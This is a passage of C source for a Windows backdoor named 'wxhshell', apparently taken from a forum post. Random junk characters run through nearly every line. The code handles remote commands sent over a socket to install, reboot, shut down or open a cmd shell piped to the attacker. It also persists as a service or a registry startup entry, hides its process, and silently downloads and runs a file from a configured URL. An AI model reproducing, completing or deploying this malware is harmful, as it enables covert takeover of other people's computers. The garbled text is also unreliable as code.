  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sOU1n  
  } yt.F\[1  
  else { >AcrG]  
Ib+Y~ XYR  
    switch(cmd[0]) { V+VkY3  
  4<k9?)~(J  
  // 帮助 /+@p7FqlE  
  case '?': { }Q=!Y>Tc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eA#;AQm  
    break; T3k#VNH  
  } vvKEv/pN7  
  // 安装 Y?(r3E^x  
  case 'i': { zmSUw}-4 N  
    if(Install()) _Em.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {= F /C,-  
    else QNpqdwu%h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S/4^ d &Gr  
    break; %?p1d!  
    } ~v6OsH%vx  
  // 卸载 =Ur}~w&H8  
  case 'r': { HbXPok  
    if(Uninstall()) |Z=^`J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qI~xlW  
    else +f@U6Vv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rEv$+pP  
    break; *a#rM"6P  
    } {TX]\ufG  
  // 显示 wxhshell 所在路径 z7Q?D^miy  
  case 'p': { NhaI<J  
    char svExeFile[MAX_PATH]; NiU2@zgl  
    strcpy(svExeFile,"\n\r");  (Q.waI  
      strcat(svExeFile,ExeFile); T>R0T{A  
        send(wsh,svExeFile,strlen(svExeFile),0); 1T-8K r  
    break; M#As0~y  
    } wPwXM!  
  // 重启 *=+td)S/1  
  case 'b': { *#tJM.Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <8d^^0  
    if(Boot(REBOOT)) <N_+=_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8]M_z:F7F  
    else { "a8j"lPJ  
    closesocket(wsh); N6 (  
    ExitThread(0); (^u1~1E 5  
    } (`sH3&Kl  
    break; "CUty"R 8  
    } 1n:8s'\  
  // 关机 DGAX3N;r6{  
  case 'd': { c6X}2a'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l zYnw)Pv  
    if(Boot(SHUTDOWN)) 6P5Ih  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?34 e-  
    else { Z; A`oKd  
    closesocket(wsh); @@8J6*y  
    ExitThread(0); v(EEG/~  
    } +(C6#R<LI  
    break; ?sMP~RHQ  
    } 8;Yx<woR  
  // 获取shell BPdfYu ,il  
  case 's': { kX>f^U{j  
    CmdShell(wsh); Y0_),OaY  
    closesocket(wsh); )FpZPdN+h  
    ExitThread(0); V{^!BBQ  
    break; V??dYB(  
  } u"d~!j1  
  // 退出 AO=h 23ZI  
  case 'x': { *T~Ve;3h;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ub;ZtsM,%  
    CloseIt(wsh); $D}{]MN.  
    break; Mi/&f   
    } WnGGo ' Z  
  // 离开 }jVSlCF@t  
  case 'q': { )e a:Q?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (Nx;0"5IX  
    closesocket(wsh); h\PHK C2  
    WSACleanup(); J,AR5@)1  
    exit(1); _c, '>aH=  
    break; +=.W<b  
        } Kwg4sr5"D  
  } n(L\||#+  
  } 4Qo]n re!  
R +WP0&d'  
  // 提示信息 ,B0_MDA +  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Nmg07_R  
} A` AaTP  
  } Dg} Ka7H  
69J4=5lX  
  return; hNd}Y'%V  
} S6AU[ASY.  
`~ * @q!  
// shell模块句柄 R0L&*Bjm  
int CmdShell(SOCKET sock) av$/Om :  
{ h3Q21D'f  
STARTUPINFO si; _ h": >  
ZeroMemory(&si,sizeof(si)); 9Iz%ht  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hb^7oq"a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t| 'N+-T3  
PROCESS_INFORMATION ProcessInfo; `$B3X  
char cmdline[]="cmd"; :@!ic<p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L30$%G|  
  return 0; Fm # w2o  
} JM\m)RH0  
GF5^\Rf  
// 自身启动模式 ##EYH1P]  
int StartFromService(void) hYM@?/(q  
{ Xa[?^P  
typedef struct ;\\@q"n%<  
{ * ;Cy=J+  
  DWORD ExitStatus; ltD37QZQ  
  DWORD PebBaseAddress; 3l3'bw2  
  DWORD AffinityMask; YJl("MZ  
  DWORD BasePriority; 61j I  
  ULONG UniqueProcessId; [fKUyIY_  
  ULONG InheritedFromUniqueProcessId; !V,{_(LT  
}   PROCESS_BASIC_INFORMATION; {FG|\nPw  
EoxQ */  
PROCNTQSIP NtQueryInformationProcess; ?zsB6B?;  
8krpowVs~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HH@qz2w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^>N]H>0'S  
'qF#<1&  
  HANDLE             hProcess; `A,g] 1C:  
  PROCESS_BASIC_INFORMATION pbi; A%{W{UP8N  
|R#"Th6mH!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n Ml%'[u  
  if(NULL == hInst ) return 0; mK [0L  
-atGlu2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _Jt 2YZdA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hwI Mn33  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j~e;DO  
]/B$br'O{?  
  if (!NtQueryInformationProcess) return 0; Wf&W^Q  
=pk)3<GwF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 't9hXzAfW  
  if(!hProcess) return 0; -~QHqU.  
8-Hsgf.*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )"m!YuS Y  
l $jxLZ  
  CloseHandle(hProcess); m~D&gGFt  
nYt/U\n!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Iy.rqc/86  
if(hProcess==NULL) return 0; -p E(_  
pOrWg@<\L  
HMODULE hMod; Xe^Cn R  
char procName[255]; ,s_T pq  
unsigned long cbNeeded; OHflIeq#@  
$Tb G+Eb8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a<A+4uXyD  
L:k9# 6  
  CloseHandle(hProcess); ph#tgLJ  
`)Z!V?&!  
if(strstr(procName,"services")) return 1; // 以服务启动 JB&\i#  
b77>$[xB  
  return 0; // 注册表启动 @mBX~ ?=Z3  
} ?"KC-u|  
w1|A5q'M  
// 主模块 AT\qiznvP  
int StartWxhshell(LPSTR lpCmdLine) xGG,2W+z  
{ _` [h,=  
  SOCKET wsl; }h}<! s  
BOOL val=TRUE; &V<W>Y>|l*  
  int port=0; 7oR:1DX w|  
  struct sockaddr_in door; ) 9oH,gZ  
,.o<no  
  if(wscfg.ws_autoins) Install(); U7DCx=B  
DtEwW1J  
port=atoi(lpCmdLine); $L2%u8}8:  
nxJee=qH  
if(port<=0) port=wscfg.ws_port; \xUe/=  
!!:LJ  
  WSADATA data; wHem5E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vi)%$~  
PccB]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .?>5-od2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); snt(IJQ  
  door.sin_family = AF_INET; 7 uarh!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NcAp_q? 4  
  door.sin_port = htons(port); k3t78Qg  
D>!6,m2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n3`&zY  
closesocket(wsl); +~ #U7xgq/  
return 1; R+~cl;#G6  
} %,iIpYx  
07/L}b`P  
  if(listen(wsl,2) == INVALID_SOCKET) { >2?aZ`r+  
closesocket(wsl); !8@*F  
return 1; 0iZGPe~  
} ~kCwJ<E  
  Wxhshell(wsl); & ``d  
  WSACleanup(); 4W#E`9 6u  
D)brPMS:o  
return 0; m"9XT)N  
5eA8niq#  
} u<n`x6gL  
Do]*JO)(  
// 以NT服务方式启动 f N "tA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P &)1Rka  
{ (LtkA|:  
DWORD   status = 0; bhs(Qzx  
  DWORD   specificError = 0xfffffff; &|<xqt  
$y?k[Y-~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G3G6IP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '&;69`FSe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -[Qvg49jy  
  serviceStatus.dwWin32ExitCode     = 0; Xm4CKuU@  
  serviceStatus.dwServiceSpecificExitCode = 0; z1!6%W_.  
  serviceStatus.dwCheckPoint       = 0; o y<J6  
  serviceStatus.dwWaitHint       = 0; 2 /y}a#s  
oR*=|B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RAjkH`  
  if (hServiceStatusHandle==0) return; ~=Ncp9ej#  
rz(0:vxwA  
status = GetLastError(); ?v-1zCls  
  if (status!=NO_ERROR) m4[g6pNx~  
{ ?'r9"M>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'lS `s(  
    serviceStatus.dwCheckPoint       = 0; FhIqy %X  
    serviceStatus.dwWaitHint       = 0; vSW L$Y2  
    serviceStatus.dwWin32ExitCode     = status; b59{)u4F  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3qQUpm+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); = zl= SLe  
    return; ?R5'#|EyX  
  } ]/T -t1D  
XW L^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SLhEc  
  serviceStatus.dwCheckPoint       = 0; wG8Wez%  
  serviceStatus.dwWaitHint       = 0; M3zDtN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D^Ys)- d  
} t!_x(u  
Be}$I_95\P  
// 处理NT服务事件,比如:启动、停止 8#` 6M5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) > 4oY3wk8  
{ 1zktU.SZ  
switch(fdwControl) A{<xc[w;p  
{ =raA?Bp3;(  
case SERVICE_CONTROL_STOP: c0 WFlj9b  
  serviceStatus.dwWin32ExitCode = 0; y@wF_WX2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {[(pWd%J  
  serviceStatus.dwCheckPoint   = 0; X;!D};;M  
  serviceStatus.dwWaitHint     = 0; +@VYs*&&  
  { y5 m!*=`l`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H0*5_OJ!i  
  } x "(9II*  
  return; T ^JuZG  
case SERVICE_CONTROL_PAUSE: ^t[HoFRa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +dkS/b  
  break; ?G? gy2  
case SERVICE_CONTROL_CONTINUE: !6w{(Rc(C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Gowp <9 F  
  break; a-n4:QT  
case SERVICE_CONTROL_INTERROGATE: iS@\ =CK  
  break; |)W!jC&k  
}; B(l-}|m_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oe1 t\  
} tL0`Rvl  
TD04/ ISHT  
// 标准应用程序主函数 @<_`2eW'/R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =z:U~D  
{ P ,K\  
H:a|x#"  
// 获取操作系统版本 AH.9A_dG  
OsIsNt=GetOsVer(); xfSG~csoz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /'y5SlE[J  
R#4 ^s  
  // 从命令行安装 FoPginZ]J  
  if(strpbrk(lpCmdLine,"iI")) Install(); J?P]EQU  
|t\|:E>" }  
  // 下载执行文件 ,2WH/"  
if(wscfg.ws_downexe) { m%QqmTH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |ia@,*KD  
  WinExec(wscfg.ws_filenam,SW_HIDE); ykq'g|  
} fo\\o4Qyh  
dyQh:u -  
if(!OsIsNt) { 4Y tk!oS`  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~hURs;Sb  
HideProc(); ${U6=  
StartWxhshell(lpCmdLine); oVZ4bRl   
} u9![6$R  
else H?}wl%  
  if(StartFromService()) Nm8w/Q5D`  
  // 以服务方式启动 ^{[`=P'/  
  StartServiceCtrlDispatcher(DispatchTable); U  5`y  
else FsCwF&/q  
  // 普通方式启动 zj]b&In6;  
  StartWxhshell(lpCmdLine); )LswSV  
# bX~=`  
return 0; Jm![W8L  
}
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只看该作者 1 发表于: 2006-10-10
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